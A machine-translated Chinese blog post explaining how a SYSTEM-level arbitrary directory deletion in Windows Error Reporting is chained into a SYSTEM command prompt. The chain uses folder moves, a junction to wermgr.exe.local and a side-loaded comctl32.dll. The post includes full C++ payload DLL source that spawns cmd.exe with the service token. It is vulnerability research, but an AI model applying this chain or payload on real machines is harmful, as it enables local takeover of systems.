前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从目录删除到SYSTEM Shell

从目录删除到SYSTEM Shell

原创
作者头像
franket
发布2020-11-03 00:18:42
17.9K0
发布2020-11-03 00:18:42
举报
文章被收录于专栏:技术杂记

使得非特权概要文件能够使服务(在SYSTEM安全上下文中运行)删除任意目录/文件的漏洞很少发生。由于没有使用这种原始技术的特权升级的既定路径,因此安全研究人员通常会忽略这些漏洞。偶然地,我在Windows错误报告服务中使用了一个不太可能的怪癖找到了这样的路径。尽管一些Twitter用户已要求撰写文章,但技术细节既非出色也不新颖。

当应用程序崩溃时,Windows错误报告服务(WER)负责收集遥测数据。随着时间的流逝,WER中发现了许多漏洞,如果您想查找稀有标本,它是寻找它的第一站。该服务分为用户模式组件和服务组件,这些组件通过COM通过ALPC进行通信。错误报告是使用文件系统作为临时存储创建,排队和传递的。

文件存储在的子文件夹中C:\ProgramData\Microsoft\Windows\WER

  • Temp 用于存储从各种来源收集的崩溃数据,然后将它们合并到一个文件中。
  • ReportQueue准备将报表发送到Microsoft服务器时使用。如果由于节流或缺少互联网连接而无法交付,则稍后将尝试交付,并在条件允许的情况下交付。
  • ReportArchive 是已交付报告的历史存档。

选择文件夹的NTFS权限以允许任何崩溃的应用程序将其数据传递给Microsoft。在子文件夹中创建的特定于崩溃的文件和文件夹可能具有更严格的权限,具体取决于崩溃的应用程序的安全上下文。

根文件夹的默认权限为:

代码语言:javascript
复制
C:\ProgramData\Microsoft\Windows\WER NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                     BUILTIN\Administrators:(I)(OI)(CI)(F)
                                     BUILTIN\Users:(I)(OI)(CI)(RX)
                                     Everyone:(I)(OI)(CI)(RX)

和子文件夹:

代码语言:javascript
复制
C:\ProgramData\Microsoft\Windows\WER\ReportArchive BUILTIN\Administrators:(F)
                                                   BUILTIN\Administrators:(OI)(CI)(IO)(F)
                                                   NT AUTHORITY\SYSTEM:(F)
                                                   NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                                                   NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
                                                   NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
                                                   NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
                                                   NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
                                                   NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
                                                   APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
                                                   APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)

C:\ProgramData\Microsoft\Windows\WER\ReportQueue BUILTIN\Administrators:(F)
                                                 BUILTIN\Administrators:(OI)(CI)(IO)(F)
                                                 NT AUTHORITY\SYSTEM:(F)
                                                 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                                                 NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
                                                 NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
                                                 NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
                                                 NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
                                                 NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
                                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
                                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)

C:\ProgramData\Microsoft\Windows\WER\Temp BUILTIN\Administrators:(OI)(CI)(F)
                                          NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
                                          NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
                                          NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
                                          NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
                                          NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)

允许将任意特权目录删除用于特权升级的根本原因是WER中令人惊讶的逻辑流程。如果创建报告所需时根文件夹不存在,则将创建该根文件夹-毫不奇怪。但是令人惊讶的是,该文件夹是使用以下权限创建的:

代码语言:javascript
复制
C:\ProgramData\Microsoft\Windows\WER BUILTIN\Administrators:(OI)(CI)(F)
                                     NT AUTHORITY\Authenticated Users:(OI)(CI)(R,W,D)
                                     NT AUTHORITY\SERVICE:(OI)(CI)(R,W,D)
                                     NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(R,W,D)
                                     NT AUTHORITY\NETWORK SERVICE:(OI)(CI)(R,W,D)
                                     NT AUTHORITY\WRITE RESTRICTED:(OI)(CI)(R,W,D)
                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(R,W,D)
                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(R,W,D)

新的权限使通过非特权配置文件将根文件夹创建为联结文件夹成为可能。这是服务未编程解决的情况。但是,即使我们有一个在SYSTEM安全上下文中删除目录的漏洞,由于目录不为空,对我们也无济于事。当ReportArchive文件夹包含System拥有限制性权限的文件时,清空目录可能会立即显示为不可能,这是通常的情况。但这实际上根本不是问题。我们需要的是父文件夹的DELETE权限。子文件和文件夹的权限无关。

NTFS的一个鲜为人知的细节是,重命名操作可用于将文件和文件夹移动到卷上的任何位置。重命名操作需要DELETE原始权限和目标文件夹的FILE_ADD_FILE/FILE_ADD_SUBDIRECTORY权限。通过将的所有子文件夹移动C:\ProgramData\Microsoft\Windows\WER到另一个可写位置,例如C:\Windows\Temp,我们绕过了对子文件夹中文件的任何限制。现在,可以C:\ProgramData\Microsoft\Windows\WER成功使用任意目录删除漏洞。如果该漏洞仅允许通过NtCreateFile调用删除文件FILE_NON_DIRECTORY_FILE,则可以通过打开路径来绕过该限制C:\ProgramData\Microsoft\Windows\WER::$INDEX_ALLOCATION

文件夹消失后,下一步是使WER服务重新创建它。可以通过触发任务来完成\Microsoft\Windows\Windows Error Reporting\QueueReporting。该任务可由非特权概要文件触发,但作为SYSTEM执行。任务完成后,我们会看到一个新的,更宽松的文件夹,但是我们也看到了子文件夹也被重新创建。要FILE_WRITE_ATTRIBUTES对重新创建的文件夹使用我们的新权限以使其成为联结文件夹,我们必须首先使其为空(或不允许为空,但这需要再次写信)。我们像以前一样在子目录上重复移动操作,现在我们可以创建结点文件夹。

通过使连接点成为目标\??\c:\windows\system32\wermgr.exe.local文件夹,错误报告服务将使用相同的允许ACL创建目标文件夹。每次执行wermgr.exe都会尝试打开该wermgr.exe.local文件夹,如果打开该文件夹,则在查找“并排(SxS)” DLL文件时将具有最高优先级。如果.local文件夹存在,amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.778_none_e6c6b761130d4fb8则尝试打开子文件夹,如果从该子文件夹成功Comctl32.dll加载。通过制作有效负载DLL并将其amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.778_none_e6c6b761130d4fb8植入名称为comctl32.dll的文件夹中,它将LoadLibrary在下次WER服务启动时由SYSTEM安全上下文中的功能加载。

当用LoadLibrary加载DLL文件时,其DllMain功能将由加载过程使用ul_reason_for_call具有value的参数执行DLL_PROCESS_ATTACH。在这种情况下,加载过程的继续功能不是优先事项。我们只想从流程中分离出来并在我们自己的流程中执行代码。通过生成命令提示符,我们可以提供成功执行的可视指示。由于命令提示符继承了升级的特权,因此还可以使用升级的特权。最重要的是,它使执行与错误报告服务分离,因此即使服务终止,命令提示符也将继续运行!

但是,启动命令提示符存在障碍。该服务在会话0中运行。在会话0中运行的进程无法在桌面上创建对象,只有会话1(默认情况下)中的进程才能执行此操作。

要在当前活动会话中启动命令提示符,我们可以使用WTSGetActiveConsoleSessionId()函数获取活动会话号。可以使用以下代码启动提示:

代码语言:javascript
复制
bool spawnShell() 
{
   STARTUPINFO startInfo = { 0x00 };
   startInfo.cb = sizeof(startInfo);
   startInfo.wShowWindow = SW_SHOW;
   startInfo.lpDesktop = const_cast<wchar_t*>( L"WinSta0\\Default" );

   PROCESS_INFORMATION procInfo = { 0x00 };

   HANDLE hToken = {};
   DWORD  sessionId = WTSGetActiveConsoleSessionId();

   OpenProcessToken( GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken );
   DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, &hToken );

   SetTokenInformation(hToken, TokenSessionId, &sessionId, sizeof(sessionId));

   if (  CreateProcessAsUser( hToken,
            expandPath(L"%WINDIR%\\system32\\cmd.exe").c_str(),
            const_cast<wchar_t*>( L"" ),
            nullptr,
            nullptr,
            FALSE,
            NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,
            nullptr,
            nullptr,
            &startInfo,
            &procInfo
         ) 
      )  {
            CloseHandle(procInfo.hProcess);
            CloseHandle(procInfo.hThread);
         }

   return true;
}

该函数打开当前进程(服务)的令牌,并复制为主令牌(已经存在,但我们必须选择)。然后,将重复的令牌会话ID更改为所返回的ID WTSGetActiveConsoleSessionId()。通过使用更改的令牌启动命令提示符,我们可以在会话中获取服务和执行的安全上下文。

在我的默认有效负载中,还有一些我想做的事情。DLL在更严格的权限下执行时有帮助的事情。如果该服务以本地服务配置文件的身份运行,则我们无权更改为用户会话。因此我使用该功能WTSSendMessage()在活动会话桌面上创建一个对话框。即使无法在桌面上创建任何其他可能性时,该功能也起作用。显示的数据也记录在事件查看器中。我想显示我们正在执行的配置文件的名称,dll被加载为的文件名以及加载过程的文件名。有时会弹出一个外壳,因为我在几个月前种了一个dll,并且偶然地在加载dll的位置创建了某些条件。在这种情况下,信息是无价的,因为如果服务在我查看之前就终止了,那么调查为什么弹出该外壳的原因几乎是不可能的。我也喜欢发出哔哔声。然后,即使由于计算机被锁定而隐藏了所有内容,我仍然得到有效负载已执行的指示,并且可以查看事件日志。

实现上述功能的一种方法是:

代码语言:javascript
复制
#include <filesystem>   
#include <wtsapi32.h>
#include <Lmcons.h>
#include <iostream>
#include <string>
#include <Windows.h>
#include <wtsapi32.h>

#pragma comment(lib, "Wtsapi32.lib")

using namespace std;

wstring expandPath(const wchar_t* input) {
   wchar_t szEnvPath[MAX_PATH];
   ::ExpandEnvironmentStringsW(input, szEnvPath, MAX_PATH);
   return szEnvPath;
}

auto getUsername() {
   wchar_t usernamebuf[UNLEN + 1];
   DWORD size = UNLEN + 1;
   GetUserName((TCHAR*)usernamebuf, &size);
   static auto username = wstring{ usernamebuf };
   return username;
}

auto getProcessFilename() {
   wchar_t process_filenamebuf[MAX_PATH]{ 0x0000 };
   GetModuleFileName(0, process_filenamebuf, MAX_PATH);
   static auto process_filename = wstring{ process_filenamebuf };
   return process_filename;
}

auto getModuleFilename(HMODULE hModule = nullptr) {
   wchar_t module_filenamebuf[MAX_PATH]{ 0x0000 };
   if(hModule != nullptr) GetModuleFileName(hModule, module_filenamebuf, MAX_PATH);
   static auto module_filename = wstring{ module_filenamebuf };
   return module_filename;
}

bool showMessage() {
   Beep( 4000, 400 );
   Beep( 4000, 400 );
   Beep( 4000, 400 );

   auto m = L"This file:\n"s + getModuleFilename() + L"\nwas loaded by:\n"s + getProcessFilename() + L"\nrunning as:\n" + getUsername() ;
   auto message = (wchar_t*)m.c_str();
   DWORD messageAnswer{};
   WTSSendMessage( WTS_CURRENT_SERVER_HANDLE, WTSGetActiveConsoleSessionId(), (wchar_t*)L"",0 ,message ,lstrlenW(message) * 2,0 ,0 ,&messageAnswer ,true );

   return true;
}
static const auto init = spawnShell();
 
BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved )
{
   getModuleFilename(hModule);
   static auto const msgshown = showMessage();
}

最终利用有效载荷的漏洞利用最终应如下所示:

使用计划任务触发报告提交流程的另一种方法是使用中导出的C函数提交错误报告wer.dll。如果报告是带有WER_SUBMIT_OUTOFPROCESS标志提交的,则该服务将代替我们的usermode组件处理为我们目的所需的操作。可以在此处查看提交错误报告的源代码

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
作者已关闭评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档